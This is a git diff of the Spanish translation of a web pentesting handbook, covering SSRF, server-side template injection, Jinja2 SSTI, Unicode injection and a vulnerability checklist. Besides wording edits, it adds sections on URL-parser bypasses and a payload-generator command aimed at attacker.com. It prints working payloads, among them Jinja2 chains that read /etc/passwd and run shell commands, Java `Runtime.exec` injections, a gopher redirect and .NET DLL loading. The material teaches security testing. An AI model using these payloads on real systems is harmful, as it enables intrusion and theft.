automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algún JS que será ejecutado por el creador del PDF** (el servidor) mientras crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** +Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes **insertar algo de JS que será ejecutado por el creador del PDF** (el servidor) mientras crea el PDF y podrás abusar de un SSRF. [**Encuentra más información aquí**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.** ## De SSRF a DoS @@ -179,7 +179,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4 if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` -## Proxies mal configurados a SSRF +## Proxies mal configurados para SSRF Trucos [**de esta publicación**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies). @@ -187,7 +187,7 @@ Trucos [**de esta publicación**](https://rafa.hashnode.dev/exploiting-http-pars
-Código vulnerable de proxy Flask +Código vulnerable del proxy de Flask ```python from flask import Flask from requests import get @@ -253,7 +253,7 @@ Connection: close ``` ## DNS Rebidding CORS/SOP bypass -Si tienes **problemas** para **exfiltrar contenido de una IP local** debido a **CORS/SOP**, **DNS Rebidding** se puede usar para eludir esa limitación: +Si tienes **problemas** para **exfiltrar contenido de una IP local** debido a **CORS/SOP**, **DNS Rebidding** se puede utilizar para eludir esa limitación: {{#ref}} ../cors-bypass.md @@ -294,7 +294,7 @@ La diferencia entre un SSRF ciego y uno no ciego es que en el ciego no puedes ve **Comprobando el tiempo** de las respuestas del servidor podría ser **posible saber si un recurso existe o no** (quizás toma más tiempo acceder a un recurso existente que acceder a uno que no existe) -### De ciego a abuso completo de códigos de estado +### De ciego a abuso total de códigos de estado Según este [**blog post**](https://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/), algunos SSRF ciegos pueden ocurrir porque incluso si la URL objetivo responde con un código de estado 200 (como los metadatos de AWS), estos datos no están formateados correctamente y, por lo tanto, la aplicación puede negarse a mostrarlos. @@ -318,7 +318,7 @@ return redirect("/redir", 302) **Pasos:** - Primero, 302 hace que la aplicación comience a seguir. - Luego recibe 305 → 306 → 307 → 308 → 309 → 310. -- Después del 5º código extraño, el PoC finalmente devuelve 302 → 169.254.169.254 → 200 OK. +- Después del 5to código extraño, el PoC finalmente devuelve 302 → 169.254.169.254 → 200 OK. **Qué sucede dentro del objetivo:** - libcurl en sí sigue 305–310; simplemente normaliza códigos desconocidos a “seguir.” @@ -332,6 +332,7 @@ Ten en cuenta que esto es interesante para filtrar códigos de estado que no pod Si encuentras una vulnerabilidad SSRF en una máquina que se ejecuta dentro de un entorno en la nube, podrías obtener información interesante sobre el entorno en la nube e incluso credenciales: + {{#ref}} cloud-ssrf.md {{#endref}} @@ -340,6 +341,7 @@ cloud-ssrf.md Varias plataformas conocidas contienen o han contenido vulnerabilidades SSRF, revísalas en: + {{#ref}} ssrf-vulnerable-platforms.md {{#endref}} @@ -352,7 +354,7 @@ Herramienta para detectar y explotar vulnerabilidades SSRF ### [Gopherus](https://github.com/tarunkant/Gopherus) -- [Publicación de blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) +- [Publicación en el blog sobre Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) Esta herramienta genera cargas útiles de Gopher para: @@ -365,16 +367,17 @@ Esta herramienta genera cargas útiles de Gopher para: ### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) -- [Publicación de blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) +- [Publicación en el blog sobre el uso de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) _remote-method-guesser_ es un escáner de vulnerabilidades de _Java RMI_ que admite operaciones de ataque para la mayoría de las vulnerabilidades comunes de _Java RMI_. La mayoría de las operaciones disponibles admiten la opción `--ssrf`, para generar una carga útil de _SSRF_ para la operación solicitada. Junto con la opción `--gopher`, se pueden generar cargas útiles de _gopher_ listas para usar directamente. ### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) -SSRF Proxy es un servidor proxy HTTP multihilo diseñado para canalizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF). +SSRF Proxy es un servidor proxy HTTP multihilo diseñado para tunelizar el tráfico HTTP del cliente a través de servidores HTTP vulnerables a Server-Side Request Forgery (SSRF). ### Para practicar + {{#ref}} https://github.com/incredibleindishell/SSRF_Vulnerable_Lab {{#endref}} diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md index 973721347..e9e2c4ec1 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md @@ -4,7 +4,7 @@ Verifique **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)** -- SugarCRM ≤ 14.0.0 – Inyección de LESS `@import` en `/rest/v10/css/preview` permite SSRF no autenticado y lectura de archivos locales. +- SugarCRM ≤ 14.0.0 – La inyección LESS `@import` en `/rest/v10/css/preview` permite SSRF no autenticado y lectura de archivos locales. {{#ref}} ../less-code-injection-ssrf.md diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 3ac0b7a89..f7e406684 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -199,7 +199,7 @@ El _truco de barra invertida_ explota una diferencia entre el [WHATWG URL Standa ### Corchete cuadrado izquierdo -El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) +El carácter “corchete cuadrado izquierdo” `[` en el segmento de información del usuario puede hacer que el UriComponentsBuilder de Spring devuelva un valor de nombre de host que difiere de los navegadores: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878) ### Otras Confusiones @@ -207,10 +207,42 @@ El carácter “corchete cuadrado izquierdo” `[` en el segmento de informació imagen de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/) +### Truco del Identificador de Zona IPv6 (%25) + +Los analizadores de URL modernos que soportan RFC 6874 permiten que las direcciones IPv6 *link-local* incluyan un **identificador de zona** después de un signo de porcentaje. Algunos filtros de seguridad no son conscientes de esta sintaxis y solo eliminarán literales IPv6 entre corchetes, permitiendo que la siguiente carga útil alcance una interfaz interna: +```text +http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0 +http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style) +``` +Si la aplicación objetivo valida que el host *no* es `fe80::1` pero deja de analizar en el `%`, puede tratar incorrectamente la solicitud como externa. Siempre normaliza la dirección **antes** de cualquier decisión de seguridad o elimina completamente el identificador de zona opcional. + +### CVEs recientes de análisis de bibliotecas (2022–2025) + +Varios frameworks principales han sufrido problemas de desajuste de nombres de host que pueden ser explotados para SSRF una vez que la validación de URL ha sido eludida con los trucos mencionados anteriormente: + +| Año | CVE | Componente | Sinopsis del error | PoC mínima | +|------|-----|-----------|--------------|-------------| +| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` no está permitido en la sección *userinfo*, por lo que `https://example.com\[@internal` es analizado como host `example.com` por Spring pero como `internal` por los navegadores, lo que permite redirección abierta y SSRF cuando se utilizan listas de permitidos de host. Actualiza a Spring 5.3.34 / 6.0.19 / 6.1.6+. | +| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | La confusión de la barra invertida permitió que `http://example.com\\@169.254.169.254/` eludiera los filtros de host que se dividen en `@`. | +| 2022 | CVE-2022-3602 | OpenSSL | La verificación del nombre de host se omitió cuando el nombre tiene un sufijo `.` (confusión de dominio sin punto). | + +Cuando dependas de analizadores de URL de terceros, **compara el host canónico devuelto por la biblioteca en la que confías con la cadena sin procesar proporcionada por el usuario** para detectar estas clases de problemas. + +### Ayudantes de generación de payloads (2024+) + +Crear grandes listas de palabras personalizadas a mano es engorroso. La herramienta de código abierto **SSRF-PayloadMaker** (Python 3) ahora puede generar automáticamente *80 k+* combinaciones de manipulación de host, incluyendo codificaciones mixtas, degradación forzada de HTTP y variantes de barra invertida: +```bash +# Generate every known bypass that transforms the allowed host example.com to attacker.com +python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt +``` +La lista resultante se puede alimentar directamente en Burp Intruder o `ffuf`. + ## Referencias - [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) - [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet) +- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243) +- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 9ab9cb066..c7baa04b4 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -27,7 +27,7 @@ Para detectar la Inyección de Plantillas del Lado del Servidor (SSTI), inicialm - Errores lanzados, revelando la vulnerabilidad y potencialmente el motor de plantillas. - Ausencia del payload en la reflexión, o partes de él faltando, lo que implica que el servidor lo procesa de manera diferente a los datos regulares. - **Contexto de Texto Plano**: Distinguir de XSS verificando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`). -- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiando `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario. +- **Contexto de Código**: Confirmar la vulnerabilidad alterando parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario. #### Fase de Identificación @@ -193,6 +193,7 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) - [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) + {{#ref}} el-expression-language.md {{#endref}} @@ -249,6 +250,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` - [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) + {{#ref}} el-expression-language.md {{#endref}} @@ -380,6 +382,7 @@ Expression Language (EL) es una característica fundamental que facilita la inte Consulta la siguiente página para aprender más sobre la **explotación de intérpretes de EL**: + {{#ref}} el-expression-language.md {{#endref}} @@ -476,7 +479,7 @@ array("first_name" => $user.first_name) ``` **Más información** -- En la sección de Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) +- En la sección Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) @@ -779,6 +782,7 @@ range.constructor( Consulta la siguiente página para aprender trucos sobre **eludir la ejecución de comandos arbitrarios en sandboxes** en python: + {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}} @@ -869,6 +873,7 @@ Consulta la siguiente página para aprender trucos sobre **eludir la ejecución ``` **Más detalles sobre cómo abusar de Jinja**: + {{#ref}} jinja2-ssti.md {{#endref}} @@ -930,9 +935,9 @@ El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cu ### .Net Eludir restricciones -Los mecanismos de reflexión de .NET se pueden utilizar para eludir la lista negra o clases que no están presentes en la asamblea. Los DLL se pueden cargar en tiempo de ejecución con métodos y propiedades accesibles desde objetos básicos. +Los mecanismos de reflexión de .NET se pueden utilizar para eludir la lista negra o clases que no están presentes en la asamblea. Las DLL se pueden cargar en tiempo de ejecución con métodos y propiedades accesibles desde objetos básicos. -Los DLL se pueden cargar con: +Las DLL se pueden cargar con: - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - desde el sistema de archivos. - `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - directamente desde la solicitud. diff --git a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md index 8f6166d3a..575f3ea6c 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md +++ b/src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md @@ -23,7 +23,7 @@ app.run() ### **Declaración de Depuración** -Si la Extensión de Depuración está habilitada, un `debug` tag estará disponible para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador. +Si la Extensión de Depuración está habilitada, un tag `debug` estará disponible para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver qué está disponible para usar en la plantilla sin configurar un depurador. ```python
 
@@ -76,9 +76,9 @@ request
 ```
 ### Recuperando \
 
-Luego, a partir de estos objetos necesitamos llegar a la clase: **``** para intentar **recuperar** las **clases** definidas. Esto se debe a que desde este objeto podemos llamar al método **`__subclasses__`** y **acceder a todas las clases del** entorno python **no sandboxed**.
+Luego, a partir de estos objetos necesitamos llegar a la clase: **``** para intentar **recuperar** las **clases** definidas. Esto se debe a que desde este objeto podemos llamar al método **`__subclasses__`** y **acceder a todas las clases del entorno** de python que no está en sandbox.
 
-Para acceder a esa **clase objeto**, necesitas **acceder a un objeto de clase** y luego acceder a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. Y luego, **después** de alcanzar esta **clase objeto** **llamamos** a **`__subclasses__()`**.
+Para acceder a esa **clase objeto**, necesitas **acceder a un objeto de clase** y luego acceder a **`__base__`**, **`__mro__()[-1]`** o `.`**`mro()[-1]`**. Y luego, **después** de alcanzar esta **clase objeto** llamamos a **`__subclasses__()`**.
 
 Revisa estos ejemplos:
 ```python
@@ -136,7 +136,7 @@ La llamada a `__subclasses__` nos ha dado la oportunidad de **acceder a cientos
 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
 {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
 ```
-**Ejecución Remota de Código (RCE)**
+**Ejecución Remota de Código**
 ```python
 # The class 396 is the class 
 {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@@ -203,8 +203,8 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
 
 ```
 - [**Regresa aquí para más opciones para acceder a un objeto global**](jinja2-ssti.md#accessing-global-objects)
-- [**Regresa aquí para más opciones para acceder a la clase del objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
-- [**Lee esto para obtener RCE sin la clase del objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
+- [**Regresa aquí para más opciones para acceder a la clase de objeto**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
+- [**Lee esto para obtener RCE sin la clase de objeto**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
 
 **Evitando la codificación HTML**
 
@@ -250,7 +250,7 @@ Sin **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
 Desde los [**objetos globales**](jinja2-ssti.md#accessing-global-objects) hay otra forma de llegar a **RCE sin usar esa clase.**\
 Si logras acceder a alguna **función** de esos objetos globales, podrás acceder a **`__globals__.__builtins__`** y desde allí el **RCE** es muy **sencillo**.
 
-Puedes **encontrar funciones** de los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
+Puedes **encontrar funciones** en los objetos **`request`**, **`config`** y cualquier **otro** **objeto global** interesante al que tengas acceso con:
 ```bash
 {{ request.__class__.__dict__ }}
 - application
@@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
 ## Referencias
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
-- Ver [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
+- Ver [attr trick to bypass blacklisted chars in here](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/index.html#python3).
 - [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
 - [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
 
diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md
index 68206eb08..afa944e34 100644
--- a/src/pentesting-web/unicode-injection/README.md
+++ b/src/pentesting-web/unicode-injection/README.md
@@ -4,7 +4,7 @@
 
 ## Introducción
 
-Dependiendo de cómo se comporte el back-end/front-end cuando **recibe caracteres unicode extraños**, un atacante podría **eludir protecciones e inyectar caracteres arbitrarios** que podrían ser utilizados para **abusar de vulnerabilidades de inyección** como XSS o SQLi.
+Dependiendo de cómo se comporte el back-end/front-end cuando **recibe caracteres unicode extraños**, un atacante podría ser capaz de **eludir protecciones e inyectar caracteres arbitrarios** que podrían ser utilizados para **abusar de vulnerabilidades de inyección** como XSS o SQLi.
 
 ## Normalización de Unicode
 
@@ -30,7 +30,7 @@ Esta vulnerabilidad proviene de una vulnerabilidad que un investigador encontró
 Los back-ends se comportan de manera extraña cuando **reciben emojis**. Eso es lo que sucedió en [**este informe**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) donde el investigador logró conseguir un XSS con una carga útil como: `💋img src=x onerror=alert(document.domain)//💛`
 
 En este caso, el error fue que el servidor, después de eliminar los caracteres maliciosos, **convirtió la cadena UTF-8 de Windows-1252 a UTF-8** (básicamente, la codificación de entrada y la conversión de codificación no coincidían). Entonces, esto no da un < adecuado, solo uno unicode extraño: `‹`\
-``Así que tomaron esta salida y **convirtieron nuevamente ahora de UTF-8 a ASCII**. Esto **normalizó** el `‹` a `<`, así es como el exploit pudo funcionar en ese sistema.\
+``Así que tomaron esta salida y **convirtieron de nuevo ahora de UTF-8 a ASCII**. Esto **normalizó** el `‹` a `<`, así es como el exploit pudo funcionar en ese sistema.\
 Esto es lo que sucedió:
 ```php
 )
 
@@ -75,6 +75,7 @@ Entonces, un usuario malicioso podría insertar un carácter Unicode diferente e
 ```
 #### plantilla de sqlmap
 
+
 {{#ref}}
 https://github.com/carlospolop/sqlmap_to_unicode_template
 {{#endref}}
@@ -85,13 +86,13 @@ Puedes usar uno de los siguientes caracteres para engañar a la webapp y explota
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
 
-Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto se puede enviar como: `%e2%89%ae` o como `%u226e`
+Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede enviarse como: `%e2%89%ae` o como `%u226e`
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
 
 ### Fuzzing Regexes
 
-Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediendo a ella tal como está**.
+Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediéndola tal como está**.
 
 La herramienta [**recollapse**](https://github.com/0xacb/recollapse) permite **generar variaciones de la entrada** para hacer fuzzing al backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
 
diff --git a/src/pentesting-web/web-vulnerabilities-methodology.md b/src/pentesting-web/web-vulnerabilities-methodology.md
index d0d31511d..fe90114a3 100644
--- a/src/pentesting-web/web-vulnerabilities-methodology.md
+++ b/src/pentesting-web/web-vulnerabilities-methodology.md
@@ -6,21 +6,21 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 
 ## Proxies
 
-> [!NOTE]
-> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté en su lugar, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
+> [!TIP]
+> Hoy en día, las **aplicaciones** **web** suelen **utilizar** algún tipo de **proxies** **intermediarios**, que pueden ser (mal) utilizados para explotar vulnerabilidades. Estas vulnerabilidades necesitan que un proxy vulnerable esté presente, pero generalmente también requieren alguna vulnerabilidad adicional en el backend.
 
-- [ ] [**Abuso de encabezados hop-by-hop**](abusing-hop-by-hop-headers.md)
-- [ ] [**Envenenamiento de caché/Decepción de caché**](cache-deception/)
+- [ ] [**Abusing hop-by-hop headers**](abusing-hop-by-hop-headers.md)
+- [ ] [**Cache Poisoning/Cache Deception**](cache-deception/index.html)
 - [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
 - [ ] [**H2C Smuggling**](h2c-smuggling.md)
-- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Descubriendo Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
-- [ ] [**Inyección del lado del servidor XSLT**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**Bypass de Protecciones de Proxy / WAF**](proxy-waf-protections-bypass.md)
+- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
+- [ ] [**Uncovering Cloudflare**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
+- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+- [ ] [**Proxy / WAF Protections Bypass**](proxy-waf-protections-bypass.md)
 
 ## **Entrada del usuario**
 
-> [!NOTE]
+> [!TIP]
 > La mayoría de las aplicaciones web **permitirán a los usuarios ingresar algunos datos que serán procesados más tarde.**\
 > Dependiendo de la estructura de los datos que el servidor espera, algunas vulnerabilidades pueden o no aplicarse.
 
@@ -28,21 +28,21 @@ En cada Pentest Web, hay **varios lugares ocultos y obvios que podrían ser vuln
 
 Si los datos introducidos pueden reflejarse de alguna manera en la respuesta, la página podría ser vulnerable a varios problemas.
 
-- [ ] [**Inyección de Plantillas del Lado del Cliente**](client-side-template-injection-csti.md)
-- [ ] [**Inyección de Comandos**](command-injection.md)
+- [ ] [**Client Side Template Injection**](client-side-template-injection-csti.md)
+- [ ] [**Command Injection**](command-injection.md)
 - [ ] [**CRLF**](crlf-0d-0a.md)
-- [ ] [**Markup Colgante**](dangling-markup-html-scriptless-injection/)
-- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](file-inclusion/)
-- [ ] [**Redirección Abierta**](open-redirect.md)
-- [ ] [**Contaminación de Prototipos a XSS**](deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
-- [ ] [**Inclusión del lado del servidor/Inyección del lado de la frontera**](server-side-inclusion-edge-side-inclusion-injection.md)
-- [ ] [**Falsificación de Solicitudes del Lado del Servidor**](ssrf-server-side-request-forgery/)
-- [ ] [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/)
-- [ ] [**Nabbing de Pestañas Inverso**](reverse-tab-nabbing.md)
-- [ ] [**Inyección del lado del servidor XSLT**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
-- [ ] [**XSS**](xss-cross-site-scripting/)
+- [ ] [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
+- [ ] [**Open Redirect**](open-redirect.md)
+- [ ] [**Prototype Pollution to XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
+- [ ] [**Server Side Inclusion/Edge Side Inclusion**](server-side-inclusion-edge-side-inclusion-injection.md)
+- [ ] [**Server Side Request Forgery**](ssrf-server-side-request-forgery/index.html)
+- [ ] [**Server Side Template Injection**](ssti-server-side-template-injection/index.html)
+- [ ] [**Reverse Tab Nabbing**](reverse-tab-nabbing.md)
+- [ ] [**XSLT Server Side Injection**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
+- [ ] [**XSS**](xss-cross-site-scripting/index.html)
 - [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
-- [ ] [**XS-Search**](xs-search/)
+- [ ] [**XS-Search**](xs-search/index.html)
 
 Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, otras solo requieren que el contenido sea reflejado. Puedes encontrar algunos poliglotas interesantes para probar rápidamente las vulnerabilidades en:
 
@@ -54,52 +54,54 @@ pocs-and-polygloths-cheatsheet/
 
 Si la funcionalidad puede ser utilizada para buscar algún tipo de datos dentro del backend, tal vez puedas (mal) utilizarla para buscar datos arbitrarios.
 
-- [ ] [**Inclusión de Archivos/Recorrido de Rutas**](file-inclusion/)
-- [ ] [**Inyección NoSQL**](nosql-injection.md)
-- [ ] [**Inyección LDAP**](ldap-injection.md)
+- [ ] [**File Inclusion/Path Traversal**](file-inclusion/index.html)
+- [ ] [**NoSQL Injection**](nosql-injection.md)
+- [ ] [**LDAP Injection**](ldap-injection.md)
 - [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
-- [ ] [**Inyección SQL**](sql-injection/)
-- [ ] [**Inyección XPATH**](xpath-injection.md)
+- [ ] [**SQL Injection**](sql-injection/index.html)
+- [ ] [**XPATH Injection**](xpath-injection.md)
 
 ### **Formularios, WebSockets y PostMsgs**
 
 Cuando un websocket publica un mensaje o un formulario que permite a los usuarios realizar acciones, pueden surgir vulnerabilidades.
 
-- [ ] [**Falsificación de Solicitudes entre Sitios**](csrf-cross-site-request-forgery.md)
-- [ ] [**Secuestro de WebSocket entre sitios (CSWSH)**](websocket-attacks.md)
-- [ ] [**Vulnerabilidades de PostMessage**](postmessage-vulnerabilities/)
+- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
+- [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
+- [ ] [**PostMessage Vulnerabilities**](postmessage-vulnerabilities/index.html)
 
 ### **Encabezados HTTP**
 
 Dependiendo de los encabezados HTTP proporcionados por el servidor web, algunas vulnerabilidades podrían estar presentes.
 
 - [ ] [**Clickjacking**](clickjacking.md)
-- [ ] [**Bypass de Política de Seguridad de Contenido**](content-security-policy-csp-bypass/)
-- [ ] [**Hacking de Cookies**](hacking-with-cookies/)
-- [ ] [**CORS - Configuraciones Incorrectas y Bypass**](cors-bypass.md)
+- [ ] [**Content Security Policy bypass**](content-security-policy-csp-bypass/index.html)
+- [ ] [**Cookies Hacking**](hacking-with-cookies/index.html)
+- [ ] [**CORS - Misconfigurations & Bypass**](cors-bypass.md)
 
 ### **Bypasses**
 
 Hay varias funcionalidades específicas donde algunos métodos alternativos podrían ser útiles para eludirlas.
 
-- [ ] [**Bypass de 2FA/OTP**](2fa-bypass.md)
-- [ ] [**Bypass del Proceso de Pago**](bypass-payment-process.md)
-- [ ] [**Bypass de Captcha**](captcha-bypass.md)
-- [ ] [**Bypass de Inicio de Sesión**](login-bypass/)
-- [ ] [**Condición de Carrera**](race-condition.md)
-- [ ] [**Bypass de Límite de Tasa**](rate-limit-bypass.md)
-- [ ] [**Bypass de Restablecimiento de Contraseña Olvidada**](reset-password.md)
-- [ ] [**Vulnerabilidades de Registro**](registration-vulnerabilities.md)
+- [ ] [**2FA/OTP Bypass**](2fa-bypass.md)
+- [ ] [**Bypass Payment Process**](bypass-payment-process.md)
+- [ ] [**Captcha Bypass**](captcha-bypass.md)
